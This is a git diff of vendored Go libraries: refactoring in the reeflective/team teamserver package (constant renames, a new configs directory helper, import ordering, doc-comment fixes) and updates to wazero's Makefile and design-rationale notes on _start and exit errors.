SGRStart = "\x1b[" - Fg = "38;05;" - Bg = "48;05;" - SGREnd = "m" + sgrStart = "\x1b[" + fg = "38;05;" + bg = "48;05;" + sgrEnd = "m" ) const ( - FieldTimestamp = "timestamp" - FieldPackage = "logger" - FieldMessage = "message" + fieldTimestamp = "timestamp" + fieldPackage = "logger" + fieldMessage = "message" - PackageFieldKey = "teamserver_pkg" - - MinimumPackagePad = 11 + minimumPackagePad = 11 ) +// PackageFieldKey is used to identify the name of the package +// specified by teamclients and teamservers named loggers. +const PackageFieldKey = "teamserver_pkg" + // stdioHook combines a stdout hook (info/debug/trace), // and a stderr hook (warn/error/fatal/panic). type stdioHook struct { @@ -152,15 +154,15 @@ func (hook *stdoutHook) Format(entry *logrus.Entry) ([]byte, error) { levelLog := fmt.Sprintf("%s%s%s", color(signColor), sign, color(style.Default)) timestamp := entry.Time.Format(hook.TimestampFormat) - timestampLog := fmt.Sprintf("%s%s%s", color(hook.Colors[FieldTimestamp]), timestamp, color(style.Default)) + timestampLog := fmt.Sprintf("%s%s%s", color(hook.Colors[fieldTimestamp]), timestamp, color(style.Default)) var pkgLogF string pkg := entry.Data[PackageFieldKey] if pkg != nil { pkgLog := fmt.Sprintf(" %v ", pkg) - pkgLog = fmt.Sprintf("%-*s", MinimumPackagePad, pkgLog) - pkgLogF = strings.ReplaceAll(pkgLog, fmt.Sprintf("%s", pkg), fmt.Sprintf("%s%s%s", color(hook.Colors[FieldPackage]), pkg, color(style.Default))) + pkgLog = fmt.Sprintf("%-*s", minimumPackagePad, pkgLog) + pkgLogF = strings.ReplaceAll(pkgLog, fmt.Sprintf("%s", pkg), fmt.Sprintf("%s%s%s", color(hook.Colors[fieldPackage]), pkg, color(style.Default))) } // Always try to unwrap the error at least once, and colorize it. @@ -171,7 +173,7 @@ func (hook *stdoutHook) Format(entry *logrus.Entry) ([]byte, error) { } } - messageLog := fmt.Sprintf("%s%s%s", color(hook.Colors[FieldMessage]), message, color(style.Default)) + messageLog := fmt.Sprintf("%s%s%s", color(hook.Colors[fieldMessage]), message, color(style.Default)) // Assemble the log message var logMessage string @@ -265,9 +267,9 @@ func (hook *stderrHook) Levels() []logrus.Level { func defaultFieldsFormat() map[string]string { return map[string]string{ - FieldTimestamp: style.BrightBlack, - FieldPackage: style.Dim, - FieldMessage: style.BrightWhite, + fieldTimestamp: style.BrightBlack, + fieldPackage: style.Dim, + fieldMessage: style.BrightWhite, } } @@ -296,5 +298,5 @@ func defaultLevelFieldsColored() map[string]string { } func color(color string) string { - return SGRStart + style.SGR(color) + SGREnd + return sgrStart + style.SGR(color) + sgrEnd } diff --git a/vendor/github.com/reeflective/team/internal/log/log.go b/vendor/github.com/reeflective/team/internal/log/log.go index fdf5f1a298..b31cccf587 100644 --- a/vendor/github.com/reeflective/team/internal/log/log.go +++ b/vendor/github.com/reeflective/team/internal/log/log.go @@ -21,7 +21,6 @@ package log import ( "fmt" "io" - "os" "path/filepath" "github.com/reeflective/team/internal/assets" @@ -29,21 +28,17 @@ import ( ) const ( - FileReadPerm = 0o600 // FileReadPerm is the permission bit given to the OS when reading files. - DirPerm = 0o700 // DirPerm is the permission bit given to teamserver/client directories. - FileWritePerm = 0o644 // FileWritePerm is the permission bit given to the OS when writing files. - - FileWriteOpenMode = os.O_APPEND | os.O_CREATE | os.O_WRONLY // Opening log files in append/create/write-only mode. - - ClientLogFileExt = "teamclient.log" // Log files of all teamclients have this extension by default. - ServerLogFileExt = "teamserver.log" // Log files of all teamserver have this extension by default. + // ClientLogFileExt is used as extension by all main teamclients log files by default. + ClientLogFileExt = "teamclient.log" + // ServerLogFileExt is used as extension by all teamservers core log files by default. + ServerLogFileExt = "teamserver.log" ) // Init is the main constructor that is (and should be) used for teamserver and teamclient logging. // It hooks a normal logger with a sublogger writing to a file in text version, and another logger // writing to stdout/stderr with enhanced formatting/coloring support. func Init(fs *assets.FS, file string, level logrus.Level) (*logrus.Logger, *logrus.Logger, error) { - logFile, err := fs.OpenFile(file, FileWriteOpenMode, FileWritePerm) + logFile, err := fs.OpenFile(file, assets.FileWriteOpenMode, assets.FileWritePerm) if err != nil { return nil, nil, fmt.Errorf("Failed to open log file %w", err) } @@ -102,7 +97,7 @@ func NewJSON(fs *assets.FS, file string, level logrus.Level) (*logrus.Logger, er rootLogger.Formatter = &logrus.JSONFormatter{} jsonFilePath := fmt.Sprintf("%s.json", file) - logFile, err := fs.OpenFile(jsonFilePath, FileWriteOpenMode, FileWritePerm) + logFile, err := fs.OpenFile(jsonFilePath, assets.FileWriteOpenMode, assets.FileWritePerm) if err != nil { return nil, fmt.Errorf("Failed to open log file %w", err) } @@ -121,7 +116,7 @@ func NewAudit(fs *assets.FS, logDir string) (*logrus.Logger, error) { auditLogger.Formatter = &logrus.JSONFormatter{} jsonFilePath := filepath.Join(logDir, "audit.json") - logFile, err := fs.OpenFile(jsonFilePath, FileWriteOpenMode, FileWritePerm) + logFile, err := fs.OpenFile(jsonFilePath, assets.FileWriteOpenMode, assets.FileWritePerm) if err != nil { return nil, fmt.Errorf("Failed to open log file %w", err) } diff --git a/vendor/github.com/reeflective/team/internal/log/perms.go b/vendor/github.com/reeflective/team/internal/log/perms.go index b56f909eb7..2eea129c26 100644 --- a/vendor/github.com/reeflective/team/internal/log/perms.go +++ b/vendor/github.com/reeflective/team/internal/log/perms.go @@ -35,7 +35,6 @@ func IsWritable(path string) (isWritable bool, err error) { return } - err = nil if !info.IsDir() { return false, fmt.Errorf("Path isn't a directory") } @@ -56,5 +55,6 @@ func IsWritable(path string) (isWritable bool, err error) { } isWritable = true + return } diff --git a/vendor/github.com/reeflective/team/internal/systemd/config.go b/vendor/github.com/reeflective/team/internal/systemd/config.go index 705acf0da1..585f6e3270 100644 --- a/vendor/github.com/reeflective/team/internal/systemd/config.go +++ b/vendor/github.com/reeflective/team/internal/systemd/config.go @@ -20,6 +20,7 @@ package systemd import ( "bytes" + // Embed our example teamserver.service file. _ "embed" "fmt" "log" @@ -41,6 +42,7 @@ type Config struct { //go:embed teamserver.service var systemdServiceTemplate string +// NewFrom returns a new templated systemd configuration file. func NewFrom(name string, userCfg *Config) string { cfg := NewDefaultConfig() diff --git a/vendor/github.com/reeflective/team/internal/version/.gitignore b/vendor/github.com/reeflective/team/internal/version/.gitignore deleted file mode 100644 index 1d65b47378..0000000000 --- a/vendor/github.com/reeflective/team/internal/version/.gitignore +++ /dev/null @@ -1 +0,0 @@ -*.compiled diff --git a/vendor/github.com/reeflective/team/internal/version/teamserver_version_info b/vendor/github.com/reeflective/team/internal/version/teamserver_version_info deleted file mode 100644 index 25a898d32b..0000000000 --- a/vendor/github.com/reeflective/team/internal/version/teamserver_version_info +++ /dev/null @@ -1,14 +0,0 @@ -#!/usr/bin/env bash - -outfile="_version.compiled" - -git describe --abbrev=0 --always > "client${outfile}" -go version > "go${outfile}" -git rev-parse HEAD > "commit${outfile}" - -# Dirty (ensure file exists for github actions) -touch "dirty${outfile}" -git diff --quiet || echo 'Dirty' > "dirty${outfile}" - -# Compilation time -date +%s > "compiled${outfile}" diff --git a/vendor/github.com/reeflective/team/internal/version/version.go b/vendor/github.com/reeflective/team/internal/version/version.go index 113acd9f46..a6a83ae3c3 100644 --- a/vendor/github.com/reeflective/team/internal/version/version.go +++ b/vendor/github.com/reeflective/team/internal/version/version.go @@ -19,7 +19,6 @@ package version */ import ( - _ "embed" "errors" "runtime/debug" "strconv" @@ -31,6 +30,7 @@ const ( semVerLen = 3 ) +// ErrNoBuildInfo is an error indicating that we could not fetch any binary build info. var ErrNoBuildInfo = errors.New("No binary build info") // Semantic - Get the structured semantic diff --git a/vendor/github.com/reeflective/team/server/commands/commands.go b/vendor/github.com/reeflective/team/server/commands/commands.go index ba1030f4d3..1e0c766126 100644 --- a/vendor/github.com/reeflective/team/server/commands/commands.go +++ b/vendor/github.com/reeflective/team/server/commands/commands.go @@ -21,13 +21,14 @@ package commands import ( "fmt" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/reeflective/team/client" cli "github.com/reeflective/team/client/commands" "github.com/reeflective/team/internal/command" "github.com/reeflective/team/server" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Generate returns a "teamserver" command root and its tree for teamserver (server-side) management. diff --git a/vendor/github.com/reeflective/team/server/commands/completers.go b/vendor/github.com/reeflective/team/server/commands/completers.go index 40c2d12af3..1b336cebbf 100644 --- a/vendor/github.com/reeflective/team/server/commands/completers.go +++ b/vendor/github.com/reeflective/team/server/commands/completers.go @@ -23,9 +23,10 @@ import ( "net" "strings" + "github.com/rsteube/carapace" + "github.com/reeflective/team/client" "github.com/reeflective/team/server" - "github.com/rsteube/carapace" ) // interfacesCompleter completes interface addresses on the client host. diff --git a/vendor/github.com/reeflective/team/server/commands/teamserver.go b/vendor/github.com/reeflective/team/server/commands/teamserver.go index 4a3fff0b76..6b16e42432 100644 --- a/vendor/github.com/reeflective/team/server/commands/teamserver.go +++ b/vendor/github.com/reeflective/team/server/commands/teamserver.go @@ -28,12 +28,13 @@ import ( "strings" "github.com/jedib0t/go-pretty/v6/table" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + "github.com/reeflective/team/internal/command" "github.com/reeflective/team/internal/log" "github.com/reeflective/team/internal/systemd" "github.com/reeflective/team/server" - "github.com/sirupsen/logrus" - "github.com/spf13/cobra" ) func daemoncmd(serv *server.Server) func(cmd *cobra.Command, args []string) error { diff --git a/vendor/github.com/reeflective/team/server/commands/user.go b/vendor/github.com/reeflective/team/server/commands/user.go index 07eae7200f..92b6f895a2 100644 --- a/vendor/github.com/reeflective/team/server/commands/user.go +++ b/vendor/github.com/reeflective/team/server/commands/user.go @@ -3,18 +3,18 @@ package commands import ( "encoding/json" "fmt" - "io/ioutil" "os" "os/user" "path/filepath" "strings" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/assets" "github.com/reeflective/team/internal/command" - "github.com/reeflective/team/internal/log" "github.com/reeflective/team/server" - "github.com/sirupsen/logrus" - "github.com/spf13/cobra" ) func createUserCmd(serv *server.Server, cli *client.Client) func(cmd *cobra.Command, args []string) { @@ -50,7 +50,7 @@ func createUserCmd(serv *server.Server, cli *client.Client) func(cmd *cobra.Comm filename = fmt.Sprintf("%s_%s_default", serv.Name(), user.Username) saveTo = cli.ConfigsDir() - err = os.MkdirAll(saveTo, log.DirPerm) + err = os.MkdirAll(saveTo, assets.DirPerm) if err != nil { fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"cannot write to %s root dir: %s\n", saveTo, err) return @@ -84,7 +84,7 @@ func createUserCmd(serv *server.Server, cli *client.Client) func(cmd *cobra.Comm saveTo = filepath.Join(saveTo, filename+".teamclient.cfg") - err = ioutil.WriteFile(saveTo, configJSON, log.FileReadPerm) + err = os.WriteFile(saveTo, configJSON, assets.FileReadPerm) if err != nil { fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to write config to %s: %s\n", saveTo, err) return @@ -207,7 +207,7 @@ func exportCACmd(serv *server.Server) func(cmd *cobra.Command, args []string) { data, _ := json.Marshal(exportedCA) - err = os.WriteFile(saveTo, data, log.FileWritePerm) + err = os.WriteFile(saveTo, data, assets.FileWritePerm) if err != nil { fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Write failed: %s (%s)\n", saveTo, err) return diff --git a/vendor/github.com/reeflective/team/server/config.go b/vendor/github.com/reeflective/team/server/config.go index a1553844ca..28a5ffbc23 100644 --- a/vendor/github.com/reeflective/team/server/config.go +++ b/vendor/github.com/reeflective/team/server/config.go @@ -27,8 +27,8 @@ import ( "path/filepath" "time" + "github.com/reeflective/team/internal/assets" "github.com/reeflective/team/internal/command" - "github.com/reeflective/team/internal/log" "github.com/sirupsen/logrus" ) @@ -45,9 +45,9 @@ const ( // // Its default path is ~/.app/teamserver/configs/app.teamserver.cfg. // It uses the following default values: -// - Daemon host: "" -// - Daemon port: 31416 -// - logging file level: Info. +// - Daemon host: "" +// - Daemon port: 31416 +// - logging file level: Info. type Config struct { // When the teamserver command `app teamserver daemon` is executed // without --host/--port flags, the teamserver will use the config. @@ -77,15 +77,14 @@ type Config struct { // ConfigPath returns the path to the server config.json file, on disk or in-memory. func (ts *Server) ConfigPath() string { - appDir := ts.TeamDir() - configDir := filepath.Join(appDir, "configs") + appDir := ts.ConfigsDir() - err := ts.fs.MkdirAll(configDir, log.DirPerm) + err := ts.fs.MkdirAll(appDir, assets.DirPerm) if err != nil { - ts.log().Errorf("cannot write to %s config dir: %s", configDir, err) + ts.log().Errorf("cannot write to %s config dir: %s", appDir, err) } - serverConfigPath := filepath.Join(configDir, fmt.Sprintf("%s.%s", ts.Name(), command.ServerConfigExt)) + serverConfigPath := filepath.Join(appDir, fmt.Sprintf("%s.%s", ts.Name(), command.ServerConfigExt)) return serverConfigPath } @@ -135,7 +134,7 @@ func (ts *Server) GetConfig() *Config { return ts.opts.config } -// Save saves config file to disk. +// SaveConfig saves config file to disk. // This uses the on-disk filesystem even if the teamclient is in memory mode. func (ts *Server) SaveConfig(cfg *Config) error { cfgLog := ts.NamedLogger("config", "server") @@ -150,7 +149,7 @@ func (ts *Server) SaveConfig(cfg *Config) error { if _, err := os.Stat(configDir); os.IsNotExist(err) { cfgLog.Debugf("Creating config dir %s", configDir) - err := os.MkdirAll(configDir, log.DirPerm) + err := os.MkdirAll(configDir, assets.DirPerm) if err != nil { return ts.errorf("%w: %w", ErrConfig, err) } @@ -163,7 +162,7 @@ func (ts *Server) SaveConfig(cfg *Config) error { cfgLog.Debugf("Saving config to %s", configPath) - err = os.WriteFile(configPath, data, log.FileReadPerm) + err = os.WriteFile(configPath, data, assets.FileReadPerm) if err != nil { return ts.errorf("%w: failed to write config: %s", ErrConfig, err) } diff --git a/vendor/github.com/reeflective/team/server/core.go b/vendor/github.com/reeflective/team/server/core.go index 6f562c4f30..ea9f9a745e 100644 --- a/vendor/github.com/reeflective/team/server/core.go +++ b/vendor/github.com/reeflective/team/server/core.go @@ -159,14 +159,14 @@ func (ts *Server) Self(opts ...client.Options) *client.Client { return teamclient } -// Version implements team.Client.VersionClient() interface +// VersionClient implements team.Client.VersionClient() interface // method, so that the teamserver can be a teamclient of itself. // This simply returns the server.VersionServer() output. func (ts *Server) VersionClient() (team.Version, error) { return ts.VersionServer() } -// Version returns the teamserver binary version information. +// VersionServe returns the teamserver binary version information. func (ts *Server) VersionServer() (team.Version, error) { semVer := version.Semantic() compiled, _ := version.Compiled() diff --git a/vendor/github.com/reeflective/team/server/db.go b/vendor/github.com/reeflective/team/server/db.go index 31bc97ca6a..7886e776fd 100644 --- a/vendor/github.com/reeflective/team/server/db.go +++ b/vendor/github.com/reeflective/team/server/db.go @@ -25,9 +25,9 @@ import ( "path" "path/filepath" + "github.com/reeflective/team/internal/assets" "github.com/reeflective/team/internal/command" "github.com/reeflective/team/internal/db" - "github.com/reeflective/team/internal/log" "gorm.io/gorm" ) @@ -37,9 +37,10 @@ const ( ) // Database returns a new teamserver database session, which may not be nil: -// at worst, this database will be an in-memory one. The default is a file- -// based Sqlite database in the teamserver directory, but it might be a -// specific database passed through options. +// if no custom database backend was passed to the server at creation time, +// this database will be an in-memory one. The default is a file-based Sqlite +// database in the teamserver directory, but it might be a specific database +// passed through options. func (ts *Server) Database() *gorm.DB { return ts.db.Session(&gorm.Session{ FullSaveAssociations: true, @@ -47,7 +48,7 @@ func (ts *Server) Database() *gorm.DB { } // DatabaseConfig returns the server database backend configuration struct. -// If configuration could be found on disk, the default Sqlite file-based +// If no configuration could be found on disk, the default Sqlite file-based // database is returned, with app-corresponding file paths. func (ts *Server) DatabaseConfig() *db.Config { cfg, err := ts.getDatabaseConfig() @@ -60,9 +61,10 @@ func (ts *Server) DatabaseConfig() *db.Config { // GetDatabaseConfigPath - File path to config.json. func (ts *Server) dbConfigPath() string { - appDir := ts.TeamDir() + appDir := ts.ConfigsDir() log := ts.NamedLogger("config", "database") - databaseConfigPath := filepath.Join(appDir, "configs", fmt.Sprintf("%s.%s", ts.Name()+"_database", command.ServerConfigExt)) + dbFileName := fmt.Sprintf("%s.%s", ts.Name()+"_database", command.ServerConfigExt) + databaseConfigPath := filepath.Join(appDir, dbFileName) log.Debugf("Loading config from %s", databaseConfigPath) return databaseConfigPath @@ -83,7 +85,7 @@ func (ts *Server) saveDatabaseConfig(cfg *db.Config) error { if _, err := os.Stat(configDir); os.IsNotExist(err) { dblog.Debugf("Creating config dir %s", configDir) - err := os.MkdirAll(configDir, log.DirPerm) + err := os.MkdirAll(configDir, assets.DirPerm) if err != nil { return err } @@ -96,7 +98,7 @@ func (ts *Server) saveDatabaseConfig(cfg *db.Config) error { dblog.Debugf("Saving config to %s", configPath) - return os.WriteFile(configPath, data, log.FileReadPerm) + return os.WriteFile(configPath, data, assets.FileReadPerm) } // getDatabaseConfig returns a working database configuration, diff --git a/vendor/github.com/reeflective/team/server/directories.go b/vendor/github.com/reeflective/team/server/directories.go index 4c96c2a79a..af75c7b4bf 100644 --- a/vendor/github.com/reeflective/team/server/directories.go +++ b/vendor/github.com/reeflective/team/server/directories.go @@ -24,7 +24,6 @@ import ( "path/filepath" "github.com/reeflective/team/internal/assets" - "github.com/reeflective/team/internal/log" ) // HomeDir returns the root application directory (~/.app/ by default). @@ -46,7 +45,7 @@ func (ts *Server) HomeDir() string { dir = "." + ts.name } - err := ts.fs.MkdirAll(dir, log.DirPerm) + err := ts.fs.MkdirAll(dir, assets.DirPerm) if err != nil { ts.log().Errorf("cannot write to %s root dir: %s", dir, err) } @@ -60,7 +59,7 @@ func (ts *Server) HomeDir() string { func (ts *Server) TeamDir() string { dir := path.Join(ts.HomeDir(), ts.opts.teamDir) - err := ts.fs.MkdirAll(dir, log.DirPerm) + err := ts.fs.MkdirAll(dir, assets.DirPerm) if err != nil { ts.log().Errorf("cannot write to %s root dir: %s", dir, err) } @@ -68,12 +67,25 @@ func (ts *Server) TeamDir() string { return dir } -// LogsDir returns the directory of the client (~/.app-server/logs), creating +// LogsDir returns the log directory of the server (~/.app-server/logs), creating // the directory if needed, or logging a fatal event if failing to create it. func (ts *Server) LogsDir() string { logDir := path.Join(ts.TeamDir(), assets.DirLogs) - err := ts.fs.MkdirAll(logDir, log.DirPerm) + err := ts.fs.MkdirAll(logDir, assets.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s root dir: %s", logDir, err) + } + + return logDir +} + +// Configs returns the configs directory of the server (~/.app-server/logs), creating +// the directory if needed, or logging a fatal event if failing to create it. +func (ts *Server) ConfigsDir() string { + logDir := path.Join(ts.TeamDir(), assets.DirConfigs) + + err := ts.fs.MkdirAll(logDir, assets.DirPerm) if err != nil { ts.log().Errorf("cannot write to %s root dir: %s", logDir, err) } @@ -86,7 +98,7 @@ func (ts *Server) LogsDir() string { func (ts *Server) CertificatesDir() string { certDir := path.Join(ts.TeamDir(), assets.DirCerts) - err := ts.fs.MkdirAll(certDir, log.DirPerm) + err := ts.fs.MkdirAll(certDir, assets.DirPerm) if err != nil { ts.log().Errorf("cannot write to %s root dir: %s", certDir, err) } diff --git a/vendor/github.com/reeflective/team/server/jobs.go b/vendor/github.com/reeflective/team/server/jobs.go index 3841dec05d..c2004fef6d 100644 --- a/vendor/github.com/reeflective/team/server/jobs.go +++ b/vendor/github.com/reeflective/team/server/jobs.go @@ -79,7 +79,7 @@ func (ts *Server) Listeners() []*job { return all } -// AddListenerJob adds a teamserver listener job to the teamserver configuration. +// ListenerAdd adds a teamserver listener job to the teamserver configuration. // This function does not start the given listener, and you must call the server // ServeAddr(name, host, port) function for this. func (ts *Server) ListenerAdd(name, host string, port uint16) error { @@ -104,7 +104,7 @@ func (ts *Server) ListenerAdd(name, host string, port uint16) error { return ts.SaveConfig(ts.opts.config) } -// RemoveListenerJob removes a server listener job from the configuration. +// ListenerRemove removes a server listener job from the configuration. // This function does not stop any running listener for the given ID: you // must call server.CloseListener(id) for this. func (ts *Server) ListenerRemove(listenerID string) { diff --git a/vendor/github.com/reeflective/team/server/server.go b/vendor/github.com/reeflective/team/server/server.go index ad8cb3351a..f6e47d0ea0 100644 --- a/vendor/github.com/reeflective/team/server/server.go +++ b/vendor/github.com/reeflective/team/server/server.go @@ -50,9 +50,9 @@ type Listener interface { Name() string // Init is used by the listener to access the core teamserver, needed for: - // - Fetching server-side transport/session-level credentials. - // - Authenticating users connections/requests. - // - Using the builtin teamserver loggers, filesystem and other utilities. + // - Fetching server-side transport/session-level credentials. + // - Authenticating users connections/requests. + // - Using the builtin teamserver loggers, filesystem and other utilities. // Any non-nil error returned will abort the listener starting process. Init(s *Server) error @@ -68,8 +68,8 @@ type Listener interface { // Close should close the listener stack. // This can mean different things depending on use case, but some are not recommended. - // - It can simply close the "listener" layer without shutting down the "server/RPC" layer. - // - It can shutdown anything, thus in effect disconnecting all of its clients from server. + // - It can simply close the "listener" layer without shutting down the "server/RPC" layer. + // - It can shutdown anything, thus in effect disconnecting all of its clients from server. Close() error } @@ -167,6 +167,7 @@ func (ts *Server) ServeDaemon(host string, port uint16, opts ...Options) (err er // ServeAddr attempts to serve a listener stack identified by "name" (the listener should be registered // with the teamserver with WithListener() option), on a given host:port address, with any provided option. // If returns either a critical error raised by the listener, or the ID of the listener job, for control. +// The call is non-blocking, contrarily to the server.ServeDaemon() method. func (ts *Server) ServeAddr(name string, host string, port uint16, opts ...Options) (id string, err error) { // If server was not initialized yet, do it. // This at least will update any listener/server-specific options. diff --git a/vendor/github.com/reeflective/team/server/users.go b/vendor/github.com/reeflective/team/server/users.go index 526dd72381..d94ac9d0f6 100644 --- a/vendor/github.com/reeflective/team/server/users.go +++ b/vendor/github.com/reeflective/team/server/users.go @@ -136,9 +136,9 @@ func (ts *Server) UserDelete(name string) error { // user of a connected/connecting teamclient. The token is hashed and checked against the // teamserver users database for the matching user. // This function shall alternatively return: -// - The name of the authenticated user, true for authenticated and no error. -// - No name, false for authenticated, and an ErrUnauthenticated error. -// - No name, false for authenticated, and a database error, if was ignited now. +// - The name of the authenticated user, true for authenticated and no error. +// - No name, false for authenticated, and an ErrUnauthenticated error. +// - No name, false for authenticated, and a database error, if was ignited now. // // This call updates the last time the user has been seen by the server. func (ts *Server) UserAuthenticate(rawToken string) (name string, authorized bool, err error) { diff --git a/vendor/github.com/tetratelabs/wazero/Makefile b/vendor/github.com/tetratelabs/wazero/Makefile index 0567942880..4ed46536ee 100644 --- a/vendor/github.com/tetratelabs/wazero/Makefile +++ b/vendor/github.com/tetratelabs/wazero/Makefile @@ -1,10 +1,10 @@ gofumpt := mvdan.cc/gofumpt@v0.5.0 gosimports := github.com/rinchsan/gosimports/cmd/gosimports@v0.3.8 -golangci_lint := github.com/golangci/golangci-lint/cmd/golangci-lint@v1.52.2 +golangci_lint := github.com/golangci/golangci-lint/cmd/golangci-lint@v1.53.3 asmfmt := github.com/klauspost/asmfmt/cmd/asmfmt@v1.3.2 # sync this with netlify.toml! -hugo := github.com/gohugoio/hugo@v0.112.5 +hugo := github.com/gohugoio/hugo@v0.115.2 # Make 3.81 doesn't support '**' globbing: Set explicitly instead of recursion. all_sources := $(wildcard *.go */*.go */*/*.go */*/*/*.go */*/*/*.go */*/*/*/*.go) @@ -53,7 +53,7 @@ build.examples.as: build.examples.zig: examples/allocation/zig/testdata/greet.wasm imports/wasi_snapshot_preview1/example/testdata/zig/cat.wasm imports/wasi_snapshot_preview1/testdata/zig/wasi.wasm @cd internal/testing/dwarftestdata/testdata/zig; zig build; mv zig-out/*/main.wasm ./ # Need DWARF custom sections. -tinygo_sources := examples/basic/testdata/add.go examples/allocation/tinygo/testdata/greet.go examples/cli/testdata/cli.go imports/wasi_snapshot_preview1/example/testdata/tinygo/cat.go +tinygo_sources := examples/basic/testdata/add.go examples/allocation/tinygo/testdata/greet.go examples/cli/testdata/cli.go imports/wasi_snapshot_preview1/example/testdata/tinygo/cat.go imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go .PHONY: build.examples.tinygo build.examples.tinygo: $(tinygo_sources) @for f in $^; do \ @@ -62,7 +62,7 @@ build.examples.tinygo: $(tinygo_sources) # We use zig to build C as it is easy to install and embeds a copy of zig-cc. # Note: Don't use "-Oz" as that breaks our wasi sock example. -c_sources := imports/wasi_snapshot_preview1/example/testdata/zig-cc/cat.c imports/wasi_snapshot_preview1/testdata/zig-cc/wasi.c +c_sources := imports/wasi_snapshot_preview1/example/testdata/zig-cc/cat.c imports/wasi_snapshot_preview1/testdata/zig-cc/wasi.c internal/testing/dwarftestdata/testdata/zig-cc/main.c .PHONY: build.examples.zig-cc build.examples.zig-cc: $(c_sources) @for f in $^; do \ @@ -212,6 +212,10 @@ check: # This makes sure the intepreter can be used. Most often the package that can # drift here is "platform" or "sysfs": # +# Ensure we build on plan9. See #1578 + @GOARCH=amd64 GOOS=plan9 go build ./... +# Ensure we build on gojs. See #1526. TODO: add GOOS=wasi as well. + @GOARCH=wasm GOOS=js go build ./... # Ensure we build on windows: @GOARCH=amd64 GOOS=windows go build ./... # Ensure we build on an arbitrary operating system: @@ -250,9 +254,9 @@ clean: ## Ensure a clean build fuzz_timeout_seconds ?= 10 .PHONY: fuzz fuzz: - @cd internal/integration_test/fuzz && cargo fuzz run basic -- -max_total_time=$(fuzz_timeout_seconds) - @cd internal/integration_test/fuzz && cargo fuzz run memory_no_diff -- -max_total_time=$(fuzz_timeout_seconds) - @cd internal/integration_test/fuzz && cargo fuzz run validation -- -max_total_time=$(fuzz_timeout_seconds) + @cd internal/integration_test/fuzz && cargo fuzz run basic -- -rss_limit_mb=8192 -max_total_time=$(fuzz_timeout_seconds) + @cd internal/integration_test/fuzz && cargo fuzz run memory_no_diff -- -rss_limit_mb=8192 -max_total_time=$(fuzz_timeout_seconds) + @cd internal/integration_test/fuzz && cargo fuzz run validation -- -rss_limit_mb=8192 -max_total_time=$(fuzz_timeout_seconds) #### CLI release related #### diff --git a/vendor/github.com/tetratelabs/wazero/RATIONALE.md b/vendor/github.com/tetratelabs/wazero/RATIONALE.md index e5dff05db1..d8a1d12e2b 100644 --- a/vendor/github.com/tetratelabs/wazero/RATIONALE.md +++ b/vendor/github.com/tetratelabs/wazero/RATIONALE.md @@ -414,12 +414,49 @@ In reflection, this approach worked well for the nearly 1.5 year period leading to version 1.0. We've only had to create a single sub-configuration, `FSConfig`, and it was well understood why when it occurred. -## Why does InstantiateModule call "_start" by default? -We formerly had functions like `StartWASICommand` that would verify preconditions and start WASI's "_start" command. -However, this caused confusion because both many languages compiled a WASI dependency, and many did so inconsistently. - -That said, if "_start" isn't called, it causes issues in TinyGo, as it needs this in order to implement panic. To deal -with this a different way, we have a configuration to call any start functions that exist, which defaults to "_start". +## Why does `ModuleConfig.WithStartFunctions` default to `_start`? + +We formerly had functions like `StartWASICommand` that would verify +preconditions and start WASI's `_start` command. However, this caused confusion +because both many languages compiled a WASI dependency, and many did so +inconsistently. + +The conflict is that exported functions need to use features the language +runtime provides, such as garbage collection. There's a "chicken-egg problem" +where `_start` needs to complete in order for exported behavior to work. + +For example, unlike `GOOS=wasip1` in Go 1.21, TinyGo's "wasi" target supports +function exports. So, the only way to use FFI style is via the "wasi" target. +Not explicitly calling `_start` before an ABI such as wapc-go, would crash, due +to setup not happening (e.g. to implement `panic`). Other embedders such as +Envoy also called `_start` for the same reason. To avoid a common problem for +users unaware of WASI, and also to simplify normal use of WASI (e.g. `main`), +we added `_start` to `ModuleConfig.WithStartFunctions`. + +In cases of multiple initializers, such as in wapc-go, users can override this +to add the others *after* `_start`. Users who want to explicitly control +`_start`, such as some of our unit tests, can clear the start functions and +remove it. + +This decision was made in 2022, and holds true in 2023, even with the +introduction of "wasix". It holds because "wasix" is backwards compatible with +"wasip1". In the future, there will be other ways to start applications, and +may not be backwards compatible with "wasip1". + +Most notably WASI "Preview 2" is not implemented in a way compatible with +wasip1. Its start function is likely to be different, and defined in the +wasi-cli "world". When the design settles, and it is implemented by compilers, +wazero will attempt to support "wasip2". However, it won't do so in a way that +breaks existing compilers. + +In other words, we won't remove `_start` if "wasip2" continues a path of an +alternate function name. If we did, we'd break existing users despite our +compatibility promise saying we don't. The most likely case is that when we +build-in something incompatible with "wasip1", that start function will be +added to the start functions list in addition to `_start`. + +See http://wasix.org +See https://github.com/WebAssembly/wasi-cli ## Runtime == Engine+Store wazero defines a single user-type which combines the specification concept of `Store` with the unspecified `Engine` @@ -447,26 +484,26 @@ https://github.com/bytecodealliance/wasmtime/blob/v0.29.0/crates/lightbeam/src/m ## Exit -### Why do we return a `sys.ExitError` on exit code zero? +### Why do we only return a `sys.ExitError` on a non-zero exit code? -It may be surprising to find an error returned on success (exit code zero). -This can be explained easier when you think of function returns: When results -aren't empty, then you must return an error. This is trickier to explain when -results are empty, such as the case in the "_start" function in WASI. +It is reasonable to think an exit error should be returned, even if the code is +success (zero). Even on success, the module is no longer functional. For +example, function exports would error later. However, wazero does not. The only +time `sys.ExitError` is on error (non-zero). -The main rationale for returning an exit error even if the code is success is -that the module is no longer functional. For example, function exports would -error later. In cases like these, it is better to handle errors where they -occur. +This decision was to improve performance and ergonomics for guests that both +use WASI (have a `_start` function), and also allow custom exports. +Specifically, Rust, TinyGo and normal wasi-libc, don't exit the module during +`_start`. If they did, it would invalidate their function exports. This means +it is unlikely most compilers will change this behavior. -Luckily, it is not common to exit a module during the "_start" function. For -example, the only known compilation target that does this is Emscripten. Most, -such as Rust, TinyGo, or normal wasi-libc, don't. If they did, it would -invalidate their function exports. This means it is unlikely most compilers -will change this behavior. +`GOOS=waspi1` from Go 1.21 does exit during `_start`. However, it doesn't +support other exports besides `_start`, and `_start` is not defined to be +called multiple times anyway. 